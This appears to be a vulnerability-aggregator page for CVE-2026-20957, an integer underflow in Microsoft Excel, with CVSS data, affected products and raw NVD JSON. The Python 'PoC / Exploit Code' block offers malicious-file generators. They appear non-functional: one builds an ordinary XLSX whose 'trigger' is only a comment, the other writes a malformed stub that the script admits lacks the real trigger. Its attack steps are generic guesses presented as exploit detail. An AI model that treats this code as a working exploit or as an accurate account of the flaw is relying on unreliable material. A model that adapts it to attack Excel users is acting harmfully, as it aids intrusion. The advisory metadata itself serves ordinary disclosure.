Security Vulnerability Report
中文
CVE-2026-20957 CVSS 7.8 HIGH

CVE-2026-20957

Published: 2026-01-13 18:16:24
Last Modified: 2026-01-14 19:47:44

Description

Integer underflow (wrap or wraparound) in Microsoft Office Excel allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:* - VULNERABLE
Microsoft Office Excel 2016 (32位和64位版本)
Microsoft Office Excel 2019 (32位和64位版本)
Microsoft Office Excel 2021 (32位和64位版本)
Microsoft 365企业应用 (32位和64位版本)
Microsoft 365个人和家庭订阅版
Microsoft Office Excel for Mac
Microsoft 365 for Mac

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-20957 PoC - Microsoft Office Excel Integer Underflow Note: This is a proof-of-concept for educational purposes only. """ import struct import zipfile import os from xml.etree import ElementTree as ET def create_malicious_excel(output_path): """ Create a PoC Excel file that triggers CVE-2026-20957 Integer underflow in Excel file parser """ # Create a minimal XLSX file structure with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as xlsx: # [Content_Types].xml - Required file content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> </Types>''' xlsx.writestr('[Content_Types].xml', content_types) # _rels/.rels - Required relationships rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/> </Relationships>''' xlsx.writestr('_rels/.rels', rels) # xl/_rels/workbook.xml.rels wb_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/> </Relationships>''' xlsx.writestr('xl/_rels/workbook.xml.rels', wb_rels) # xl/workbook.xml workbook = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <sheets> <sheet name="Sheet1" sheetId="1" r:id="rId1"/> </sheets> </workbook>''' xlsx.writestr('xl/workbook.xml', workbook) # xl/worksheets/sheet1.xml - Contains malicious data to trigger integer underflow # This PoC demonstrates the structure; actual trigger requires specific binary data worksheet = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="1"> <c r="A1" t="s"> <v>0</v> </c> </row> </sheetData> <!-- Integer underflow trigger: The vulnerability occurs when Excel processes specially crafted cell references or formula data with values that cause integer wraparound in size calculations. Attack vector: 1. Craft binary data with values that will underflow when processed 2. Target the Biff record parser in Excel 3. The underflow leads to small buffer allocation 4. Subsequent writes overflow the allocated buffer --> </worksheet>''' xlsx.writestr('xl/worksheets/sheet1.xml', worksheet) print(f"[*] Created PoC file: {output_path}") print("[*] Note: Full exploitation requires binary Biff record manipulation") print("[*] This PoC demonstrates the file structure for further research") def create_binary_poc(output_path): """ Create a binary XLS file with crafted Biff records to trigger integer underflow """ # BIFF8 record structure for XLS files # This is a template structure - actual exploitation requires # specific opcode and length values that trigger the underflow header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # OLE2 magic # Record type that triggers integer underflow in Excel # BOF record (opcode 0x0809) bof_record = struct.pack('<HHIH', 0x0809, 0x000C, 0x00000000, 0x06) # Critical: Integer underflow trigger record # When length field is crafted to cause underflow in size calculations # Opcode: 0x0000, Length: 0xFFFF (causes underflow when subtracted) # This is a simplified example - actual trigger varies trigger_record = struct.pack('<HH', 0x0000, 0xFFFF) with open(output_path, 'wb') as f: f.write(header) f.write(bof_record) f.write(trigger_record) print(f"[*] Created binary PoC: {output_path}") if __name__ == '__main__': print("=" * 60) print("CVE-2026-20957 PoC Generator") print("Microsoft Office Excel Integer Underflow Vulnerability") print("=" * 60) # Create XLSX PoC create_malicious_excel('CVE-2026-20957-poc.xlsx') # Create binary XLS PoC template create_binary_poc('CVE-2026-20957-poc.xls') print("\n[*] Usage: Open the generated files in Microsoft Excel") print("[*] Target versions: Excel 2016, 2019, 2021, Microsoft 365")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20957", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:23.627", "lastModified": "2026-01-14T19:47:43.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer underflow (wrap or wraparound) in Microsoft Office Excel allows an unauthorized attacker to execute code locally."}, {"lang": "es", "value": "Subdesbordamiento de enteros (ajuste o ajuste circular) en Microsoft Office Excel permite a un atacante no autorizado ejecutar código localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}, {"lang": "en", "value": "CWE-191"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:*:*", "matchCriteriaId": "09BF0981-749E-470B-A7AC-95AD087797EF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:*:*", "matchCriteriaId": "FF177984-A906-43FA-BF60-298133FBBD6B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_online_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.0.10417.20083", "matchCriteriaId": "08A33F86-5F76-4BF6-8C56-678924FDB333"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20957", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}